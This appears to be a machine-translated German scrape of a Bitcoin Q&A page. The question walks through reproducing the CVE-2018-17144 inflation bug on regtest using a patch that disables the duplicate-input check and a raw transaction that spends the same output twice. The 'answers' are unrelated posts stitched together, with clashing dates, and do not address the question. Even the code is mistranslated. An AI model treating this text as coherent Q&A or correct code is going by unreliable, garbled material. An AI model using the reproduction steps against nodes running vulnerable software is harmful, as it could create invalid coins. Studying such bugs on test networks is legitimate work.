reproduzieren CVE-2018-17144 (inflation bug) auf regtest für das lernen

Ich bin überprüfung CVE-2018-17144 inflation Anfälligkeit für das lernen. Ich glaube, ich reproduziert den Fehler auf regtest. Ist es eine richtige Weg, um es zu reproduzieren? Ich möchte wissen, wenn ich bin fehlt etwas daran.

Schritte zum reproduzieren:

Ich habe 2 regtest Knoten; bitcoindA, bitcoindB. Die version v0.16.2 und verbunden mit einander.

bitcoindA läuft, Bergbau-Knoten mit dem folgenden patch zu akzeptieren ungültige Transaktion.

$ git diff
+++ b/src/consensus/tx_verify.cpp
@@ -181,6 +181,7 @@ bool CheckTransaction(const CTransaction& tx, CValidationState &state, bool fChe
}

 // Prüfen auf doppelte Eingaben - Hinweis, dass diese überprüfung ist langsam, so dass wir es überspringen in CheckBlock
+ fCheckDuplicateInputs = false;
 wenn (fCheckDuplicateInputs) {
 std::set<COutPoint> vInOutPoints;

[1] generiert die 2 Adressen auf bitcoindB. (für empfangen, das ungültige utxo)

2NBeTpfn57VpE4e167tFuEtc761jYX7t893,
2N2bb6idv8qsPULP2rqGYoC5yirvVos6yeu

[2] Bergbau 101 Blöcke auf bitcoindA

$ ./bitcoinA/src/bitcoin-cli -rpcuser=bitcoinrpc -rpcpassword=bitcoinrpcpass -rpcport=16591 -regtest generieren 101

[3] überprüfen Sie die auszuschüttende txid aus dem abgebauten block und erstellen Sie eine Transaktion mit der txid. dupliziert utxo festgelegt werden, wie die folgenden.

$ ./bitcoinA/src/bitcoin-cli -rpcuser=bitcoinrpc -rpcpassword=bitcoinrpcpass -rpcport=16591 -regtest createrawtransaction '[{"txid":"5214dc65e9c9d75550a29e9ef9773452d808c5fd0c56bfe396eb7c2d034f5778","vout":0},{"txid":"5214dc65e9c9d75550a29e9ef9773452d808c5fd0c56bfe396eb7c2d034f5778","vout":0}]' '{"2NBeTpfn57VpE4e167tFuEtc761jYX7t893":99.99}'

[4] Zeichen -, broadcast-und Bergbau auf bitcoinA. Und dann schauen Sie utxo auf bitcoinB.

$ ./bitcoinB/src/bitcoin-cli -rpcuser=bitcoinrpc -rpcpassword=bitcoinrpcpass -rpcport=16592 -regtest listunspent

[
{
 "txid": "c885a3f8c0275424401d2793e69aa6bca81f7badbfc1755e18033e8801b74703",
 "vout": 0,
 "Adresse": "2NBeTpfn57VpE4e167tFuEtc761jYX7t893",
 "Konto": "",
 "redeemScript": "00141c8746e62e30554790f9bd74eeea89f45bdd5e13",
 "scriptPubKey": "a914c9d76124901125aaf2a9b37d8e2d1103a9e5508387",
 "Betrag": 99.99000000,
 "Bestätigungen": 1,
 "aufwendbare": true,
 "lösbar": true,
 "sicher": true
}
]

[5] prüfen Sie, ob die oben utxo möglich ist zu senden an die generierte Adresse (2N2bb6idv8qsPULP2rqGYoC5yirvVos6yeu)

+895
wariya 02.01.2013, 14:07:25
19 Antworten

Nie konnte ich diese zu arbeiten. So als work-around habe ich den port weitergeleitet, http und https, und die aus-und http - Endpunkt, der wiederum die Funktion aufgerufen wurde, in Frage und kehrte das Ergebnis. Ein roll-your-eigenen http - wrapper um bitcoind, weil ich nicht bekommen konnte den bitcoind http - server akzeptieren eine Verbindung von außerhalb auf meinen router. Das ist nicht ideal, da muss ich schalten Sie VPN zu bekommen, auch das funktioniert.

Ich kann sagen, durch die Einstellungen, die in bitcoin.conf , dass diese Funktionalität wurde gedacht möglich. Daher sehe ich das als eine Dokumentation scheitern. Irgendwo jemand weiß wie dies zu tun, und ich bin sicher, es ist trivial, aber es ist ein gut gehütetes Geheimnis.

Ich bitte ein Beispiel speziell zu diesem Hinzugefügt werden bitcoin.org, da diese Funktionalität soll möglich sein.

+828
ahmad fawaz 03 февр. '09 в 4:24

Die situation, die Sie beschreiben, nicht passieren kann / würde dazu führen, dass ein routing Fehler. Erstellt habe ich eine 11-minütige video erklärt, wie htlcs werden in onion-routing. Teile von dem video (ziemlich am Ende) erläutern Sie, wie die Gebühren sind, kodiert innerhalb der gesendet Zwiebel. Ich glaube zu beobachten, dass video ist der Schnellste Weg zu verstehen, die fee Modell der lightning-Netzwerk.

Tl;dw (too long didnt watch) Antwort sieht so aus:

Wenn ein Knoten entscheidet, böswillig sammeln eine größere Gebühr und leiten Sie die Zwiebel. Der nächste hop nicht in der Lage zu sammeln, die Gebühr, wie es beworben und wird scheitern, den routing-Prozess. In Ihrer Einstellung, das heißt charlie entschlüsselt seine Zwiebel und sieht die Menge nach vorne und sieht von eingehenden htlc dass es nur erhalten eine Gebühr von 80, - / 50 oder 0 Satoshi statt der angekündigten 100. Wie sagte charlie würde nicht die Zwiebeln, aber nicht in der Lage sein, die Schuld, Bob. Eigentlich obs Verhalten verwirren würde Alice als Sie wählte die richtigen Gebühren. Alice könnte davon ausgehen, Bob war eine schlechte routing-Knoten, und wählen Sie einen anderen Teil. Allerdings ist dieser Mechanismus-soweit ich weiß-noch nicht implementiert.

+764
allad8 22.06.2016, 05:58:44

Einfach zu erweitern Jannes Antwort: bevor eine Transaktion in einem block, ein Bergmann nicht wirksam überprüfen Sie, dass alle Eingänge, die mit dieser Transaktion werden bereits in diesem block oder einige vorherigen block, sowie alle Eingänge zu diesen Transaktionen, und so weiter rekursiv zurück, wo die Münzen wurden erstellt. In der Tat, jeder voller Knoten im Netzwerk, führt diese gleiche Prüfung für jede Transaktion in jedem neuen block, die Sie erhalten, denn dies ist eine Voraussetzung für den block dann als gültig akzeptiert werden.

Aber der Bergmann oder Knoten erreichen können ohne erneutes Scannen der block chain zu jeder Zeit. Wenn Sie das erste mal heruntergeladen haben, die block-Kette, die Sie erstellt einen lokalen index aller gültigen Transaktionen, die auf der Festplatte gespeichert ist. Eine neue Transaktion ist nicht eingegangen in diesem index, wenn alle seine Eingänge sind bereits im index. Wenn Sie denken über die rekursive Natur der check für einen moment, du wirst sehen, dass das finden einer Transaktion in den index bedeutet, dass es, und alle seine Eltern, die gültig sind - und damit die Prüfung durchgeführt werden kann, in sehr wenig Zeit.

+672
user2056719 04.03.2010, 20:50:01

Neulinge machen oft den Fehler, verwirrend bitcoin-Adressen mit öffentlichen Schlüsseln. Eine Adresse ist abgeleitet aus dem öffentlichen Schlüssel, aber es ist nicht der öffentliche Schlüssel. Es ist ein hash-plus Prüfsumme des öffentlichen Schlüssels. Denn es enthält eine Prüfsumme kann der Absender überprüfen, ob die Adresse korrekt eingegeben wurde, bevor das senden von bitcoins zu. Wahrscheinlich ist der Benutzer derjenige, der verwirrt ist. Er lieferte eine bitcoin Adresse und nicht einen öffentlichen Schlüssel. Er hat einfach nicht wissen, die richtigen Begriffe zu verwenden.

+644
meisel 09.12.2014, 19:28:40

Ich bin auf der Suche, eine Möglichkeit für die sichere Installation von web-site akzeptiert bitcoin Zahlungen. Idealerweise würde ich gerne erstellen wallet off-site und in der Lage sein, zum bereitstellen von bitcoin core online mit public-key nur, dass ich glaube, dass sollte genug sein, um neue Adressen generieren, und beobachten Sie für eingehende Zahlungen

+637
thefroatgt 21.09.2014, 05:58:43

Litecoin Block Explorer: http://explorer.litecoin.net/

Feathercoin Block Explorer: http://ftc.cryptocoinexplorer.com/

Finden Sie alle "kleinen" Altcoins auf http://cryptocoinexplorer.com

+585
almar4ik 15.08.2013, 13:23:20

Ist es ein Versprechen-to-pay-Funktionalität ohne escrow, wo ein Verkäufer kann eine bitcoin-Adresse für die Käufer zu senden Versprechen-to-pay bitcoins. Sobald der Verkäufer erfüllt seine Versprechen, die Käufer bestätigen ihrigen: wenn 50% oder mehr der Käufer bestätigen Ihr Versprechen, der Verkäufer bekommt das Geld.

Beispiel: Ein Autor verspricht ein Buch zu schreiben, wenn die Leser ihn bezahlen N bitcoins. Sobald Autors Konto hat N oder mehr Versprechen-to-pay-bitcoins Autor veröffentlicht Buch. Einmal 50% (dieser Prozentsatz kann angepasst werden) oder mehr Empfänger bestätigen, das Geld geht an den Autor.

+533
user3592760 08.09.2013, 19:49:45

Versuchen Sie eine Suche für das größte Guthaben auf der blockchain Entdecker und manchmal haben Sie beschriftet. Zum Beispiel: Bitcoin Rich List zeigt:

  • 3D2oetdNuZUqQHPJmcMDDHYoqkyNVsFk9r wallet: Bitfinex-coldwallet 179,384 BTC

  • 16ftSEQ4ctQFDtVZiUBusQUjRrGhM3JYwe wallet: Binance-wallet 158,779 BTC

  • 16rCmCmbuWDhPjWTrpQGaU3EPdZF7MTduk wallet: Bittrex-coldwallet 112,203 BTC
  • 3Nxwenay9Z8Lc9JBiywExpnEFiLp6Afp8v wallet: Bitstamp-coldwallet 101,848 BTC
  • 3Cbq7aT1tY8kMxWLbitaG7yT6bPbKChq64 wallet: Huobi-wallet 98,042 BTC
+526
user2540128 19.04.2012, 03:34:24

Ich habe Standard - paytxfee von 0,001 in bitcoin.conf - Datei. Ich habe aktualisiert paytxfee - Wert über die bitcoin-cli paytxfee 0.1 , wenn ich neu gestartet bitcoin-core-Wert wieder auf 0.001. ist es trotzdem kann ich pauschal dauerhaft.

+521
Youssef Matso 13.07.2018, 21:09:31

Wird mein Aktueller Kontostand, kombiniert mit der balance auf der anderen Brieftasche, die ich wiederherstellen will?

Oder muss ich leeren die Brieftasche auf mein Handy, bevor Sie die Wiederherstellung der Brieftasche, das war auf meinem alten Handy?

+423
Nestor 12.10.2011, 09:04:43

Ich sicherlich schätzen Ihr Niveau der Begeisterung zu wollen, zu Graben, direkt in den code, aber wenn ich du wäre würde ich anfangen mit dem Entwickler-Handbuch auf bitcoin.orgund vielleicht auch die Entwickler-Referenz. Eine ganze Menge Anstrengungen unternommen, in dieser Dokumentation (vor allem Dank dieser Kerl), und ich glaube, Sie wäre nachlässig, nicht zu nutzen.

Nach Verdauung einige der Inhalte, haben Sie eine bessere Vorstellung von dem, was bestimmten Aspekt von Bitcoin Core interessiert Sie am meisten. Wie ich bin sicher, Sie haben bemerkt, es ist eine ziemlich große Codebasis abdecken Konsens Fragen, blockchain/storage/beschneiden Probleme, elliptic curve cryptography, DOS Probleme, Bitcoin-scripting-Probleme, Bloom-Filter, Brieftasche Probleme, UI-Probleme, und Tonnen von anderen Sachen, die ich kann nicht anfangen, zu ergründen. Nach einen guten technischen überblick über Bitcoin und stellen eine speziellere Frage, ich bin mir sicher, dass jemand (vielleicht nicht ich) kann Ihnen eine weitere spezifische Punktes.

+402
automatorca 08.05.2013, 07:09:16

Ich fand diese awesome Artikel, die alle meine Fragen beantwortet:

Wie das Bitcoin-Protokoll Tatsächlich Funktioniert

+212
joaofs 06.11.2018, 03:34:03

Bekam Verdienen Bitcoins. Es ist eine website, die ich zusammengestellt zu diesem Thema. Alle möglichen Wege, um zu verdienen, Bitcoins sind dort aufgeführt. Ich werde auch ständig das hinzufügen von links, also es ist nur ein Anfang jetzt.

+206
ubongjohn 24.12.2018, 17:57:48

Ich nehme an, Sie wollen die Integration in ein P2PKH tx. Sie müsste base58decode die Adresse, und entfernen Sie dann die Prüfsumme und die Netzwerk-byte. Dann integrieren Sie es in ein P2PKH tx in der std. Weg:

76 A9 14 <20 Bytes> 88 AC

Ich habe zwei Verweise mit einigen code-Beispielen in C und python, die mir halfen, zu der Zeit, als ich hatte die gleiche Frage :-)

https://bitcointalk.org/index.php?topic=1543429.0

https://bitcointalk.org/index.php?topic=1026.0

und einige online - "spielen" - tools, um zu überprüfen:

http://gobittest.appspot.com/Address

http://lenschulwitz.com/base58

+106
user8502 10.10.2017, 00:35:20

Ja, die UTXO Satz wird erzeugt, indem jeder Knoten für sich selbst.

Die UTXO set ist nicht geteilt zwischen den Knoten, ergibt Sie sich aus der Aktualisierung der Knoten in der Datenbank mit den Transaktionen enthalten, in die Blöcke der blockchain.

+105
crmpicco 15.08.2016, 00:45:43

v0.11.0 und nach:

Überprüfen Sie und stellen Sie sicher, dass Ihr daemon version ist v0.11.0 oder größer. Wenn Sie es ist, die generate-Methode sollte funktionieren.

Vor v0.11.0:

Die setgenerate wahre Methode sollte verwendet werden.

In einem standard-Netzwerk (wie testnet oder main), setgenerate true schaltet Bergbau auf unbestimmte Zeit. In regtest es nur Minen in einem block. Sie können auch tun

setgenerate(TRUE, 10)

Zu mir 10 regtest Blöcke. Der zweite parameter nennt die generation beschränken.

+101
Brett Burky 19.09.2014, 10:57:41

Um es so einfach wie möglich:

Für den Handel mit crypto-Sie brauchen nur eine gute Internetverbindung und einen computer (auch tablet oder Handy kann ausreichen).

Für den Bergbau, die Sie brauchen günstigen Strom, gute internet-Verbindung und einen sicheren Ort. Sowie eine angemessene Kapital-mining-rigs sind nicht Billig.

+91
DmitMedv 08.04.2018, 19:07:41

Zum senden von bitcoins über die API:

Es wird empfohlen, über Kenntnisse von AJAX, wenn mit dieser Methode

WORT DER WARNUNG: diese Methode kann dazu führen, große Mengen der Eingänge festgelegt wird, wie Bergleute Gebühren. Ich schlage vor, Sie auch weiterhin mit Vorsicht und beginnen Sie mit kleinen Eingängen.

That being said...

Mit den Befehlen listunspent, createrawtransaction, signrawtransaction und submitrawtransaction.

Um den Zugriff auf die Bitcoin-qt Konsole:

starten Sie Ihre bitcoin-client wie gewohnt und warten Sie, bis das laden der blockchain und start-up
klicken Sie auf "Hilfe" in der Menüleiste (oben rechts)
klicken Sie auf "debug-Fenster",
wählen Sie die "console" - tab
  1. Verwenden listunspent um ein array von Sie aufwendbare Eingänge in Ihrer Brieftasche
  2. Dies ist, wo Sie legen Sie die Transaktion Gebühr: Nutzung createrawtransaction zu generieren, die eine Transaktion in der form createrawtransaction [{\"txid\":\"[txid der input-Transaktion]\",\"vout\":[vout, die sich auf die txid der input-Transaktion]},...] {\"[Adresse, senden Sie Ihre bitcoins an]\":[Betrag an bitcoins an diese Adresse senden],...} Alle Eingänge, die nicht für eine Transaktion verwendet werden, die als Bergleute Gebühren.
  3. Verwenden signrawtransaction [die Ausgabe von createrawtransaction] zu Unterschreiben, der die generierte Transaktion Hinweis: Ihre Brieftasche freigeschaltet werden müssen zum ausführen dieses Befehls. Wenn nicht, geben Sie walletpassphrase [das Passwort] 21600
  4. Verwenden submitrawtransaction [die Ausgabe von signrawtransaction] senden Sie die signierte Transaktion in das Netzwerk aufgenommen zu werden, die in einem block

Sie können sehen, Ihre Transaktion wird durch zu gehen http://blockchain.info/tx/[txid Ausgabe von submitrawtrasaction]

+26
kijuhy 30.01.2019, 19:21:47

Tausende von früh-Blöcke sind leer, außer für die erforderlichen generation Transaktion. Siehe block #1, zum Beispiel.

+20
ALoopingIcon 09.03.2011, 20:46:58

Fragen mit Tag anzeigen